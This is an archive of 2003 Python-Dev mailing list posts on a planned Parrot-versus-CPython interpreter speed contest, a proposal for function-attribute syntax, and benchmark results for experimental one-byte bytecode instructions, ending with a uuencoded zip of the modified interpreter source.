Fri, 28 Feb 2003 12:07:20 -0500 Subject: [Python-Dev] Re: new bytecode results In-Reply-To: References: Message-ID: At 9:59 PM -0500 2/27/03, Terry Reedy wrote: >"Dan Sugalski" wrote in message >news:a05200f00ba84455b2bc8@[63.120.19.221]... >> We've still got to hash out the details, but in december someone'll >> generate a bytecode file for the program(s) we're going to be >> running. We both get to run converters/optimizers over them if we >> choose. > >I find this a bit surprising. The problems of teaching to the test >and programming to the benchmark are well-known. I presume the >extreme of 'optimizing' the bytecode down to a single byte (that calls >a custom compiled-to-machine-code function) will be disallowed. But I >wonder how and where you plan to draw the line between that and >out-of-the-box behavior. I find your trust in my personal integrity refreshing. Putting that aside, Guido isn't particularly interested in looking like a fool in public, and we've already agreed that the dirty tricks that are often used won't be, since that's not the point. Make no mistake, I fully plan on winning, as resoundingly as I can manage. I'm not going to cheat, though, and I don't want there to be any doubt on either side as to the results. There'll be at least full disclosure on my part as to what the parrot bytecode I execute looks like. While I can't speak for Guido (and we've not talked about this bit) I expect he'll do the same. > > Then at the 2004 OSCON we'll run the converted programs and > >With enough 'conversion', the result could be seen as no longer being >a compilation of standard Python, but of a variant with type >declarations and pragmas added and certain dynamic features deleted. >In any case, this seems to makes the contest one more of special-case >optimization and less of general-case running time, and therefore of >less relevance to users who want *their* programs to run faster with >an out-of-the-box interpreter. What it means is that I don't have to build a python bytecode loader into the stock parrot, or weld the Python parser into it. It also means that if Guido rolls out some sort of Miracle Technology or major bytecode revision between the time the challenge code is generated he can run a transition program on it. Works both ways. I for one don't plan on doing much past writing a simple stack model to register model conversion program, though I might give a run with the code in pure stack mode just for chuckles. Don't overestimate how much effort I'm going to put into this, please. > > whichever takes less time (we've not set whether it's wall or CPU >> time, though I'm tempted to go for CPU so neither gets penalized for > > the odd background task that might be running) wins. > >From my user viewpoint, I am more interested in total time from source >input to finish. We'll measure both, I'm sure. The bigger question is whether it's fair to be penalized by other things running in the background, though I expect we'll do multiple runs and average or something to account for that. Still, it'd suck to lose because a cron job fired up and snagged 20% of the CPU and saturated the disk channel during the test run, so wall time may be collected but not count. We'll see. > > The official details, limits, and pie flavors will likely be set at >> this summer's OSCON. > >Will you allow runtime compilation (as with psyco)? >How about pre-contest dynamic compilation? (I believe Armin plans to >add a save/restore feature). >What if psyco-like dynamic compilation is a 'stock' feature of one >system and not the other? If it's in the stock python interpreter or parrot interpreter, it's fair game. (We've agreed that latest CVS checkout versions are acceptable) If by the time the contest rolls around you have some form of JIT technology, great. If Parrot's got JIT versions of the python ops, good for us. If one of us does and the other doesn't, well... the results may be somewhat lopsided. Or not, as JITs certainly aren't a panacea. -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From dan@sidhe.org Fri Feb 28 17:05:16 2003 From: dan@sidhe.org (Dan Sugalski) Date: Fri, 28 Feb 2003 12:05:16 -0500 Subject: [Python-Dev] Re: new bytecode results In-Reply-To: References: Message-ID: At 8:57 AM -0500 2/28/03, A.M. Kuchling wrote: >Terry Reedy wrote: >>In any case, this seems to makes the contest one more of special-case >>optimization and less of general-case running time, and therefore of >>less relevance to users who want *their* programs to run faster with >>an out-of-the-box interpreter. > >Indeed. I suspect, though, that if the test program exercises a sizable >chunk of Python's functionality, we won't see a Parrot-based >implementation that can run it. 2004 is a long time away, time >enough for the PyPy effort to bear fruit. The challenge is core interpreter speed, so if the challenge programs use that and Parrot can't cope, I lose and pie will be flung. If the PyPy stuff gives a good turbo boost to the python core, great, that'll make it more challenging. -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From dan@sidhe.org Fri Feb 28 18:33:45 2003 From: dan@sidhe.org (Dan Sugalski) Date: Fri, 28 Feb 2003 13:33:45 -0500 Subject: [Python-Dev] Re: new bytecode results In-Reply-To: References: Message-ID: At 10:21 PM -0500 2/27/03, Tim Peters wrote: >[Terry Reedy] >> ... >> The problems of teaching to the test and programming to the benchmark >> are well-known. >> ... >> Your contest, my questions and comments. > >Not to worry -- I made my living for 15 years writing optimizing compilers >in the highly competitive (at the time -- it competed itself to death) >supercomputer biz. I've forgotten more dirty tricks than even a Perl guy >can pick up in a lifetime . Yes, Tim, but the question isn't how much you've forgotten. It's how much you still *remember*... :-) I expect you to keep us honest, so I expect I'd better unconditionally buy you a beer so as to maintain your neutrality. ;) -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From mnot@mnot.net Fri Feb 28 18:58:11 2003 From: mnot@mnot.net (Mark Nottingham) Date: Fri, 28 Feb 2003 10:58:11 -0800 Subject: [Python-Dev] syntax for funcion attributes Message-ID: <006101c2df5b$5bbc72d0$a502200a@mnotlaptop> Hello, I'm not a python-dev regular, so sorry if this is a FAQ. What's the status of defining a syntax for function attributes (PEP 232)? I'm using __doc__ to carry metadata about methods right now, but would very much like to use function attributes. However, without a specialized syntax, I'm stuck doing things like VeryLongMethodName.MetadataName = "foo" which is fine if it's a one-off, but I'd like others to use the code, and this isn't exactly a friendly mechanism. The proposals in the PEP would be fine; I was thinking something like def foo(a): """this is the docstring""" .this_is_a_function_attribute = 1 but that's just off the top of my head. I'm happy to do some work writing a PEP if there's some consensus about what syntax would be preferable. Cheers, -- Mark Nottingham From newsgroups1@bitfurnace.com Thu Feb 27 10:14:18 2003 From: newsgroups1@bitfurnace.com (Damien Morton) Date: Thu, 27 Feb 2003 05:14:18 -0500 Subject: [Python-Dev] new bytecode results Message-ID: I tried adding a variety of new instructions to the PVM, initially with a code compression goal for the bytecodes, and later with a performance goal. definitions: USING_LOAD_FAST_N accesses to locals with an index<16 using a one byte instruction (no oparg) USING_LOAD_CONST_N accesses to consts with an index<16 using a one byte instruction (no oparg) USING_STORE_FAST_N accesses to locals with an index<16 using a one byte instruction (no oparg) USING_SHORT_CMP compare ops using a one byte instruction (no oparg) PyStone score for best of 10 runs. umodified 2.3a2 22200 using enum, 22200 (compacting the opcode numeric space using an enum instead of #defines) USING_LOAD_FAST_N 22700 USING_LOAD_CONST_N 22400 USING_STORE_FAST_N 22400 USING_LOAD_FAST_N, USING_LOAD_CONST_N 22350 USING_LOAD_FAST_N, USING_STORE_FAST_N, 22000 USING_LOAD_FAST_N, USING_LOAD_CONST_N, USING_STORE_FAST_N 22200 USING_SHORT_CMP 21500 USING_LOAD_FAST_N, USING_LOAD_CONST_N, USING_STORE_FAST_N, USING_SHORT_CMP 22000 Conclusions: While reducing the size of compiled bytecodes by about 1%, the proposed modifications at best increase performance by 2%, and at worst reduce performance by 3%. Enabling all of the proposed opcodes results in a 1% performance loss. In general, it would seem that adding opcodes in bulk, even if many opcodes switch to the same labels, results in a minor performance loss. Running PyStone under windows results in a fairly large variation in results. Ive attached a zip file containing the source files I modified. If someone would like to try this code on their systems, I would be grateful to know what kind of results they achieve. The various proposed opcodes are controlled by a set of #defines in the file opcode.h Next steps: The results of my static analysis indicate that the indices used on LOAD_FAST, LOAD_CONST, STORE_FAST are almost always small. There may be some benefit to optimising these instructions to use single byte opargs. The results of my static and dynamic analysis indicate that the (COMPARE_OP, JUMP_IF_FALSE, POP_TOP) pattern is highly used. Im looking at what changes would need to be made to the compiler to remove the need for this sequence of instructions. begin 666 source.zip M4$L#!!0````(`.0E6RZ%[DUZ.%X``)9\`0`'````8V5V86PN8^Q]?5<;.;+W MW^2&>V9B)X8%,CLO,,D>`B9AQ\&L;2:9)S?7M[&;T!O3[76W,=S=/)_] M^5657EK=:AS83';/>6[.3 )2J50JE4I5I9+ZP1\>!^WK:#3/HV"47D[C233& M#^,H>/R'!U3Y]NW;8- -#KH[#X* ?\NF$6#FTR"+PMGH(DX^!.?I+/@8W2S2 MV3@+SFZ">4:E83".1WF<)N'L1C<>IZ/Y993D09ROHHQ[^8\X&4WFZ'+MY":_ M2).-B[5BH2*+2FWA^2R\C-*SOT:CW*V(KL*)6Y).:3QN69;/YJ/\,KH\BV:J MN_-Q=!Y+SX":=SS17\<-%^C%"%8%$P5G\(<@6<3ZZV $3J/5_@( XB8+]O7Y[..AV MAR^.7@9;J#34G=P,#]HO3E\2]"%8/H[.YA\^@-6,$81'L^DLPM^,4N/K= :] MO?UV$&RMH%TG7:Q/HJMH$N2S79R9XW'@\"B>3Z2P=-1NVM!7X?V[N M/E!#6X2S,88WFH2SD+K+J)LLQ\^C`CS-]9 E`<@/Z5^+J0H-2@`]3U@D"]0\ M!@W@G:_)>9CEGB9H4&G.?]4B&J=#ZGX)BKK6T74^-!CN3\1\.@[S:*@6ZC"< M?<@L.D%0PFE_N04?RF>"S%)00Z47S20-A1COG-A5T>D,#SM[+X>_[O6"+4_Y M+V^";;U4M-#KWH KF,Y8XITACR["&0].1+@(SN*B6\@/) GNV$IBUWJPLA+0 M'^&"CWU7:3PNX!YB;>0`B<;UO0`IT+I="7]\:+%$[TJV10.5;I:I>/5Q.A^D\ MA[J.1) _OVE\.4UG.311>MGX'.(5/#CLMEG>T]D\GHR'HPF&?V>61=CFA_1[ M1!MPHR*Z,HO+D;HRET4YBUR&X3[V@V=W1S:)ZA!5@F!V7H4#S M=D1:I+*\*]T9U7&\][H];/=ZW=[P=?]E\)\/5M82<"1X],W&]N9F]BC 1IZD M>2#@XS73\&6G^V*O,_2T_S!)S\))\'EH3H]?=$^/#SI=Z+ 2GDDZ`IJKP[&A_V'[;WC\=''6/ MAR>][N%1IVTAWO[E=.^@_U /!06O]OJO^D?_!_;+3T]_>OK#PP9>^V M__C#>_SU/:-?T?2AUD*@$G6"MHK%-):]!OT[_XKIHVP-5N4%%BK^\&ZGF69X M=,*EQZ>O@ZTM9\,C).],[7N(OML$_P>;I;+#T^-]FII@JURQUQ_8VFU/;;MG MZY^6ZE^W!Z^Z!\%WI6*64UWYQU+EOL'V?:EF\-M)._BA5/BR?=SN[0VZO>#' M4DUW\*K="WXJE9YT3X*M36;[<9K#,@_/H/_9E&8F9N!C]H!DWPZ1:Z30Y<=E M%":TS .H('%P\OD44Y=$$5RB/,6Z"D;09-CH-[BU\,MMC[Y#(8 ,S_5IF%\$ M;-Y"RP*=^&5Q!O<*6)B(HW,"GW%I""1PG\8B.PLN1B7_BK\2(B&%\7X9_P^M M\QO2C@EY#T!$@&72PT10:?]"V\'PZF;0I9,;[.UY\"'*LP"_PZ*,QHQI@2U9 MJ-L#4:31YY.\12CP\T3,^8MX&H276!@E=@>P">!5*HX1#BNISYZ51?2)*USK M/J%Z`B3.GXIP/2D*U9.*,#TI"A&0E8EX[ET?S_WK`NU=FI][:'Z ]>[*:N.D MVV^J]8P?WS]Y\N"!W=/P8YL\H9=1O@\(VBN+UD$639_!8I1'Q_N]]B%9KL=I$@&_X8"4H$.M>ZVE-8 / M*\@@V@EYM+O6L96P0<#H!6CXJKUW\(#\Y $$^4,\A-(&\==8D.R0)U@5),RS MZ#+&>DK/"6L$IS:=K<>Y_+#!/OY*R2 #+EK[Z%[0S^98Y87FU,-9A,6I]MQH M3'@P@^B6")G-DP2UJGD'ZXMZ7T3A1[O=4PL>B^V3`% _`3SX0]VE7.DSX!^@ M=IA$B[(M*3/ 3:4`/P;/3,/AR_WA,5H9@%;PK?":)PF#I"I:[\>GG4Z3V+W" MH0^>SG."43/)`/CU$_>V_ESS#)V=[ZHRRPJ4;NI2=Z2H49B&12+)A?R%:"G( M3D'6FJ@A&2KLNM%Y MYA 9*&QVIARRI"V(=O/"7'("<,-.U..;3XH"$=N_() M0(3HUJ\"%5JOZI>X@0P^+\"8+%$R>TL8:SX++ M-,MI>XY41".:M<@9>; 2/ X2%&<9G(')C4"+A2(*B2?RK5*APE[0I6<2[D$T MRX74,U!JR$1=H3!P&H)HSY+<0A-A.7ZQ$3VL\[H5_$#"DLFC'$'G:$JT6Y5& M0U?=A\D-&]_1#"!A8L9[LP'#25B 6(?@",D:BA-2D=P],32^B@+2L^!<.I^, ME?T&4-,9XQC=C":199D(OV5-F25V^I3U5E#I?YUGN4PAN2Z-,(/!-DTSV4)N MXF@R)A%L!>3;A!/JW9B,[L8075^$P"5[@HB5YO$SO?T%WWX;.+)6IW&E)0NL M1F)%UJ@MJ;IE.<-2I!5=T!DH=??JDJ[%;RZ^UQRP/\!.3 @E?$^JZMU[D 1$ M?U_3*WJMM3(8=E_\N;T_:&%2SV% I^?%'!M M;4%M>V+))YK6/A8;S)<)L?[3[JVV!<@N&Q/H]VC0^%:@A_07UOYFBQ0*(4_/ MAAD,>,)=4# @6*KSZ1".N%037)%LD*IASL(L'AD\%CNJ,$>7I@9%XE1D_&MC M'+$)A!Z;A0VG%:C&NJ"*=0H]F:OBP):34(1Y/JLVR.HJZ#PEG'D(GT53#WB8 M#9,YY,1?E45_F]-"]E9>PAG!#%?K+L+LHEI*ZM4S#AF#G6/6V?$(]NL>QML:M.%6;5UN0@1PY6LP0] M8D'KPJ'DM%LEJ0XE-3> MC3W+G-[D;![QF2<&BR%SJ&BH[:8A#*<9]HW=@*)1DU#.=B%%[>N8"#/:S#3( M24UAS7\L'D!R@>S6Q2C8);;8H5"@MG*R7;5+=Y3$N2#-&E2.O4&VKC)B:PQA MKZB0KFP*#S4&DI54F O=;"':JM'?YO%,:BH=MX(M`G:&8;%BIE7I,!Y3B)V, M6W>(>X*]`UQZB'?HNXJO%V&=977X9EQ;@Z^6.&G<\%K89DJTP5UT$8:'81Y. MV !NK/EP[C!P`(\Q4-QC+&MWG "AP+7T^XMPVE T!JMU5)%97D-9DB;K3%TZ M&;O4U7']RS)*<+J,Y.E#B-\S%;^ M!8$1I3 "5PP1V81+PQJ&8['!!321)DIYDD,@5+QZ/'& M!3E429;CMQ;[,&BKIE2U)1HYH+P(,RZ::S&S#LWT=M>PYE MLB"#O:-@>33P>6 *VZ)9I/QP?=@79"F)TUA.QT _>:3A&!67Z7@^B3(^(*!Y M/2OD7V41#"2,$]"0,IIR0H)DH0OJE7_ 2846_QT6M)(6TC+7!\52(0*W/'92 MU2R[=]-DZ+*DQHQJJ1HTM1O\YVLAF2GC-$IO59U-4_6%-S?!^4\/EMUME-(: MQ32P]0:>WTVX5[B9-"?'W+"E?I\D'K& O];J34Z-<#049C?)Z +;0SK/)H6P M%>OVLY T<2/:@!HY/3YZ"^%4$8D`:,83,H,AMJ_#47#TARZ+]21BS3%+"4N4 M-?D\*H,VHD7 2#-@(",XF+[9L/L(NP0-8W^*2\S">T(ZUOFY^E(; 0@2&(QHA^">G:F%B ML^3T(1VZ^!##$[P1]#@2Y/,P4VQI%UHRV,84[(]SZE)X(_P>SSG"!7%)\ M:XI9UO.2-=' 8 #U#:TIX(#DLK,YY&%JT)I^:@JE. >5G5EM)99"CI2EH]%\ M)OLZ88Z3\K2W@(0XE]*AI"-$B.R!\5G+G"A>2JBZR>>921:>1ZL^AX>/$3%. MT76.V#AC!^8S##1-));)GH9J)+IS,M'G)%1_N:'7ATY,?;/7.SXZ?KF*[OJ_ M'>^_ZG6/NZ?]SF^!)"N@*MCO'K17E>21IB!B2\'N8I M`D+*54CT%^LAM&)PR(82[B1Y5F_@+"G\!N MC $-"N`"@#"A#/G#F2 MG=_PQ.F-XB]_(?'&WL!Q13X?W6HL)0"7^1IT[Z^ Z1TZ& M@WCT,9JI[DN3+D3T6<7+HIRDZ91(,33;R6LG8__4Z=T5$FUDZ#76X`%V8V$UM0'JG?=.=]>JJ6"$+H;&[:XVX&(4UJ]LN M;X8)7&E &9. V0 Z$!&1_+ A%=#G-Q6%:43+@$PU"B=X\M8J&8O_U\JLI M(Y0-6M7!S\$FC]B57K\`O8D>B5LN/O:-"H:Z2PO"C?\L-E=N),[@WG%XQ&E' M\UE&@C:)+]WP) !M]5"J0=#FIM5DE$+2TR =@K!B*)V7,12=BF&_TAIHR=D5 M6$93H<#6Z^@)F>7S3+9_38\[@XX7GZ_Z8PO90^+34;_MPH$5 MZ[,PSL3&?81-CIS91\56@].>('\DW'L4F&1C"_8"J_<7@6*1]@+M=X]A<)VV M!6Z4TG'://*"_G;4[APP&!^//L*!J9R(E0[?7';A,@4-YNYIY_-DBHG@LP+* MH+WU^H3<9E&3FL33^21D%\K:$'(!2)QZD!VGB/[3W22\_F#"N@/]RG8KNB\6<0YSAG5@]@CF>="_R3"+[$G#QS&$QQD[T,4]HT1 M^[J!3B6%S/0GO:C21I']A*T5;/XS54R1]9./K/9Q]D/?B;?-9/!E1Y7SG<4< M&E_'U=SE=$KYS9@?Z$F;,^SD+.OVM%O(;3?6H0]M#, .D#7)<)JR)F7]?$R' M7IP8GDW2G*QB.4O.TK97W'80T7T0Y*6HYAFS^5J(LFGH>A5PM<:H6;9R8NT(\/755-Q M.Q^4,H+9-&FP& \G9\'/S[0?/#R[R2,:_%#.G&'U"-3\K(D.T9(\$.1EL MU^G"E)N523YF)JG6\-'%4RX0`(RPF<.)L$(<^VQ.>P([-Y#)9^; MC;4B"J1T4\R?J8D*23]);NAE]=$*]"!U'E5I/3-F6=#._%%&B3NCHQ1 *')O MVRDM-.&+8L:N!HP.AS?T#=9F\(]_F$+5NLES"-> !X-%'$Q20"Q88`,1XEI5UB>[C1.TM)HNUQNB;,>/ 0M:-!^W7C M"EQKHIH0L `.N;@A)48&8>8W6Y"B9E-RF)?AB?(C;((-TZI(*V3;0ZK!>'3< M'_2&WXOISZ>O3P;=QK6+Z5F1+K1&O=ODQ6\H*G7.4&(C MLPZT1E2:^/C2'R"G==AI_]KNT$"T-7GDP?>=T-QB"*HB0 MARJP'!4NL-#G@]_VPA.I7O"G7G AV@?_707^Q5X?]\"8WWL'?VXDI38\_4D9 M_.2T+^@=(P:"[,=^HD1^?=T!;Y;O")MF&O_*WP/Q!!M.ORUU$:[^CU9]"$:8 MV\8L-RUDWLRSB[5F<#TR5*NA%.1?1L9Z114M(HL MLGPKS$>9![;JG^0##R <__7+\X+4;G4NG2DL,\QRP<^$\M@=-=UQ[F@Z&LGJ M?K[8' M'T4R-&(,8D[L8B,5?+BH*>0<+ R&2#:=#(?Z MTAOLU0^CC5$ZF6 _AE!K8H'),DX2'! Q9ET@620Z-W^=3->Q2D4@"\I*A)G& ME@RRN8+PUM^+EO4EDJ<+T\VBO:+N.A7+`<48E.@O_U/(*$%I2_;>(H#G?-)NO#?@)#U)>8\J4R1"!.5?_*DAL3@>3E8 M)W2MK]B^@?1Z>W^A;B#7 M0D6T.=O(^%/L8VF!WU#@C;U1/J>(9,NYJLK*3],5YW0Y4#6($VB,L3@8.L"H M7<>-IKAIS+L2E\1#L^D%D@5E`Q79CFH0BHZ1'O+"X:J^Q!5D+'2&'L3^)#Z( M. 8WJ.8SL ;6^!/3I^2_D4AB\9@'AK(8'*'VPB,9DH3->&1.!Y(&)[T(./NT M-/5.QH"=H6?T([K;(,Z*:(1TXM/05%5$N(M,# MEV8)1C-Q-M"]9+TO6:+E14J'$OB_LO#D6G[-TNM#]TS"&0=0'-"6XB+D4"=] M":==^:0I!I=1JZ:#,:V1T*^I)(I:OE?I<[A_XKYMT?NM'+=")0EI7ISU-.1XHWHHT" M]8\%SV,=U7('T20DO!KXC ?//G5.VYS7"G(`/AY/5!1(]<+QX4L@Q(C[*1-/ M*+@)G_&C_ 0#A;B*ZJH/4!1I?\(GOZYW^LR].&>6F'\* &2MT:P)5PFWB9TF<]" >Y3JNI.P9[E2?E*P-API\.%PS M.?+WB=*I`)MT*UT-]S+5IUIM&@9C-R8=-C8T4<>4X$DTTXD'UXQ*+N7+\65> MO&8I2<4TOQS--;GZ/(L++O@< M,$LI' IG),ZYF:14"<[C_**XG-#MFXBW>8&'?29-_ON_BZ?VC_BY(JSA5D"K M52+;8>*DT7 [V8O4^R9AGD<)]6*\,S!>!O.IFE?$#IPT M\B6,H/HLO9*%K#;H]75[G&D3%)PLE^JQ*(3/;D8YP+!/S"6JA"I!7.2/()5R M/UVVYQ4K\?;X?5=J/J30B=@2><^4LD^\T?%"7-6+CB]X]8]>'N.%J%?.N*\2DM* 68-?A!MP_;%?JT!9PNGC@OVI$^K,+->F96>6G]2&_JT$I]&K:P M\F7,68$2=-"Y_7R&(S=%">X.=W%6*OGC(SH=WE$@V)JOU^=3\2'OD/>NJ>T6 MR,PX3Q?77X+$:*&[)I*OW.%Z5>W0TMD4[#+9\.ZLT(]BAPUY#Y8C1O*<"OON ML])!QZYH5+:0UL]NUNE?<]B7S:?TI!Z->+F?3&&,55WO.-C 3^JH\@2BXPFF M,S+E4OA7B&U0=ONE-[1DH_3.3^ !OTG]:*B??OXY^!&[@")_%S!B\B!Q!% *Z)O" MHWF[^GD\0+P/5C4,BJD%-WRRU72:-!]J"2TTY? ?1(GK5IP*C1)5)D]1?OY$ M_ZBG]Q@8>ZIY=:_ZZ)Y^1L]FL;Q_)_]R0T X^2WR@T$H")P&_G?V*E:T[)[6 M4C)*Q2H393C+6JI*@W60^9F#\\;:-[@.],VXA?__,UES?&PK]2TU!/J7DBKM M1$N1V:P%&.I)SK?+$T4M!JB*M:#0=?2YD4;MR+:JV*%'7$0GR+R M"2 MJ'84,&#E"#)^-"OU:.[4L*?'9O6J-/^0MKREV][2I][2[[RE-"ZK.K4@KA= ;.9:I3E'5Z^+9RUF[%@53LJ/K4HG"ED\?:5;WM)M;^E3;^EWWM(_>DN_]Y;^X"W] MT5OZDW\4-8/;\A=O^XN?^HL]`UPJK8"I%U=46GDU:4 2A;0JWR.A5D#KY+,B M%=!OO7999]E"2(6O=,M;NNTM?>HM_TA^\I3]Z2W_RCZ)F<%O^ MXFU_\5-_L6^ ]5+AL+Q@@%10B%Q<4=1+FY@K?4>CX:3Y-@$P*-&>DH \^.S[ M79^'J==%QL^;KL%DC%^.L$GND"K0F4<+^ZO4ZZ[4B9J+G?WO]E+\LF X3VIY M?]>VA!HL(8 RE+C_N=/_5;G_A>G?TB/9326"KBH$+5R"' H5BGD=B0>GSEP* MA:Z*T#U*/LL21&]W]*ZH!!7Y?'I;O';PEW60,RE5F(4J,8DQVUQ@^2)(JHRQ MU*H]5L*F#HE/ORB)5\Y4NJPLC^+IYX_"%;CJN!Y4`R-Q@L!(7/ W\]1,U%K! MJ%\+&CKO&,&%V6S.GOF?FFN.6:"G^O1XK_<;,ICZ1X.C7WV+2T+KQ_P$VO"$ MHA8(;H%JKXZP0_=:5'J,]80:5N-'/$%S9%JY9TFD#6+C/_K3N%AI]OM MW8OB0YQASOX5)+_N'IQVNGX9MN3_AOB<&;JUQRR3!$T@=.?$7^0W0M6!'D['2/ M7YJ%=5:N,0LL1DV('L[L^FK$_Q7R<2A1B5_.Y&RTO-(?]TQ<43!Y\G8E<_]TGL\F/5V,RW^O9Y$F,[>QDS+U% M8=N*"[R/Z9Z,4,!7T^C\!OV7@)$VH/T+H'[N::%)JTN)/J)\+1/DY)1HHESR MN/2#/#,Z\&,O1:92^&US&^S$2[U#A[TCAP9^=^^3(T!<9,U4F_OT=95WI__J MZ'!PMWVFDUW$Y_G7I;-W#SI[_P(Z]XX/[D;D7C+^NA2^[=[147B;?F6#XJX$ M=K\6?4?')QV=+T?REO2\UF']S)TP- MWN^%^6KO-:-?W1M3A&MW[/Z4?WVO3),N;MF]B/[:WIDB^?]W]RR^IW\F+7=J M5Q'X]^UQ3"@/]7I1^/3M=4WI/0K^:O=[O'.VWGVSNN+]OE7[?+OW^U%B; M*J%PGULZ"\8MHXW>G)[SU?[F'N[?-ST.ZT!W:"O,5;_N)MM[A^CKCZGY\D1O,E M9NF6>7&^>&HS[96U,XXF:L8P6U]AUNX7Z1<]F"'&Y^F#Y]F-]E& M%;4P@]\=KD2J/]4E?@"J_.7L1K>YAD7B1#/LJRM.1_6HA2/ZJ5.Z>Z=X`F&3 MO:6Z8#1[EO:&AK5+#\AKIDZB\<.!]=/EB4@[C2)BI>!+H2V$SH.Q(@PR#$&N MQT)W'$V)CO$QI^ID)\O'.('@N?7*S1T$QY4<@]AEKW,:87JT=\OH1GR,+.]^ M>I[WI[#7,)68[*85/0WQ9A;GD:)H+8 L>59:73,9O0V%"IM[>V]J6LR<&^!]I"&#"..[RF.0 M45(`\A]2,S#<6,8,J5C&#Y/";D>O?Z[GY7(UHU:W%#LOS=9(^O)] MY;C]AB(L]])/MCDDW8]WYVOHI2^EE:H*""0M433_F5A-XTY _MG[G4*?C,>P2]*C78NIW*%3U#T`_*V MD3Q!7(EVZ>M#+E[=W(>:W\;'8R0]W/[KFV1RVM4<*]V."?AE3J0]^0*.^1WH MF[EG^J%GD=Y#2*\27I2:]MO2_LIISZ]9+&^[)6T73EO<;2K";.X$7@3"'OMR M_H+=@WG3/:VQLWJ+O:8?@+?R36G/9^'89:[=R MZM$LOZ7N=L3HG'YT1W2'&7O^Z\$7<<18"_&K14/SG8<&;K4K/_2^?I=0[5Z8 M>0&!^(6)UO,]F-V\F*2T_A!P-T\:<=%).FV<:R&4IQ?=%V&>!V?KS\^&D^@J MFK $55WP*IV0CSJ1;1_CKB-.\CMRTBRHZLXE@,Y]'Z/A/(K?=/*('#.#P8NR M5#0CI-+.?Z7.592R<[B25CI&\-N3P L*]R>(/%3'8Q&Y&M.N4?T%1L;^SU^_? MX^Y2-39 RN^,O-CAB-AN0J%N5/-++3>)U^#-`WU2;:]".G=>=UU)OZ.J/N1K MNO7;"_VQNCHXIXN[P4*_P757CUO7QIA>J0*ZP?DD,@6)!+L7!FGPE M*,@)'S(CU7>V,R!FC5"C$NHR)>51,WQ3A,E!_B9]'%11)2)3_3S!E2,WWIMQ M8HO87S]YDBP#F^%:X9FM^@(L,SR;`-]78AF1_OMPK/25*(/;#+?TUKW4J@A1 MJ4ZQU$3R'>X3=\TGNEZ'.593II@\N)D*CYMUSJ8+IFE3$\%O[&7X$CB]O_=% M]C'9"?8&@]X235<]!)TO#7A78_9[>3XS9H$X21L+%>5?LI/-ZU7U'08@NFY)I+N;.4](WGECNP,I-;M'E8+E&XDQ5,L[2B#4 M#-T=A6V?&L_QWV1CII>U[KTO7SNO@]H-V1Y;NX2Z+7QB((UK6M^J2Q1)ZSNXC*K&O*1VLWE%3K M[U2[#QGA53/XRT$VC>A[4U#?!OP@Y6])X.EV:1#FP45Z&6T4[YN@179!KJ.A MT^BC17/]>7HVS C"SCG#K])9B)DSH5JW&RLNCPFK6]5T9*EX6V2\_OPRQ.)) M/\ZGC3$I&R:LB>)(WFLEX)IW?GQ3Z,ZB&UP6(:BGTA'9?P\R*7^/58%BGN?M M4/52ND@&2],\68]9ML;!5<2O<.M'HRD\((^HLBPL7_;+=<;R15_7/*@.#$NK M7A^,'6')Z8$N+IA^!ZBL3:) ME4OWI:-.MW_::QL6Z!?4WS&"][OWTJ\';0#7HS16_'XTF=!H@:LV;\ ]NI5G MF?&L+3G_EU-HSS@CM]=]!M,ULKOJ*[EXC=:5'>>!E9_5^_ CT)0YH<"::2% M&I;=P.2/D1U;5"N&Q,"9"&6B'P];Y!H-Z"Z%&IB>LY50*F]8= M-MUCE++>ZT=WB'>&E@ZN*OHBE+<%LJQ4NM')>K$7^>R3?'J"V(NZ=25!O\'I M2<"R>@NH(=VE/*K5A_\T2J*@?V7%R='O0# M)"'V1= 1B'CY0-L%T&>UH#*5%O39[:#'!:RKMX.^+-#Z/+@=M%T`K<2XSL MGA"Q]55<3FM77%E.'>YU<.Y:ZT>SEUH M]7#N*JN'6/5WZ.RJ\B\JL5J^P@6Z\N.D M1Z]/L,]_;L3SNO:;0Z[7CZ\.Q?2!T!P?':ISANN?'>&6CE]?P$>!+3G*K4F^ M<4_*%[X$;OQI%IY47]@?G="'+;7Q79,8^"?M7T@*`>3"@#EMJU<'ZCU6F^W@ MYJC71'BK^>/B;WPQ82D)"NOR3X2 MV0@>/UJ[[<1>21!X!3\UY7CXE3L"H7V08B2R^85F MH9>UP_W=#_GD.IZC[2&8++YVX> M^Z8]S:SDG[JD&$ [F4NHPZL.=R<.\N>05T/(IUO(OB.E>R_ZW<[I`*2:#Z+< MSGUU4(UE)\:(?#MO)WB'Y/WWNT%X3C;&NP]1'N.'!@J;=/5GN?\(U5W_N&?5 M,7>TQWU?'X7D^<="M.O!J%];`0^(1I/.'@?O;AL5C06^^75>1__R&("T6:U$ M_:P5R*?Z.8(3V#\154\0L:+\+R(KT*K:48LN7^MD:WDT`GP_/9&,9K=(#N/= M0B>#T,EGA':=(Z/1?GW$_"20PG%._Z:7][LU#91E9AXX@+;[PDL M8:$0ERTWK\_/=XN5'U$I4_K\^8]-#\0Y'MW)`&1<)[=3:O+4P0C8),2,; >/ M@5Y7V7R!QU/YLNQC^D=75QEO+_0(!=^J?CM[+VF@8*= )$^>W H,COA@F8AR M%C$&E^#_+0VD8(1BGBA[R>@U?\)=91A1/?<"?TQ7R469=N=0:IT57>8)?T3W M64U3>^'%&NO4P)835*FYF:!:%&ZY7>X8K5/SV+ *?9K2) 0O/7R5^'MM;U), M*XJ>\Q^G_"VQA@A$:56)Y+704PMRA+8.H1:E*I"SQWG6P7X:)I M1J'^E=5LBJL+&H76:!$HZZ5],DO[]=XO;5?3N'&7)C3;G8/-0:1P.WEZU M' ._9OM3M^5>TY?:Y/@\N^#/<>+7$'.(I1[FD5*D^NZ<,S $%41?%*V,J]I@ MOK2^#)]__@' 54WX'":/RTML)@?B/6?&BO9Q\E/M MD9^=U.(Y(A/**I!.57:_Y"PS1L#J3S='.5[7.$19HR%%)@?@ZG<5"Z;C-K%@ M@-]-+!C[W<6"FWV.6.Q/TFP^BVZ7BO]=+W=<+ZAQ3Z?D[8?JASZ>?OZ#$JZQ M.O?8U?U)/!+6+[V,\_L]FX)/+.)F3/N /KN'\?J_U&B_R)O-Q,D`_/W!ZVF49/%5M+HL2:-F$F4:^5/?.=1\-)8A8 *9 MG;)(-'/<;"QBTS&[>RW^CE(`"2*.R8*MGPKG\^8/W###)_.=\#DRQ==EG#81 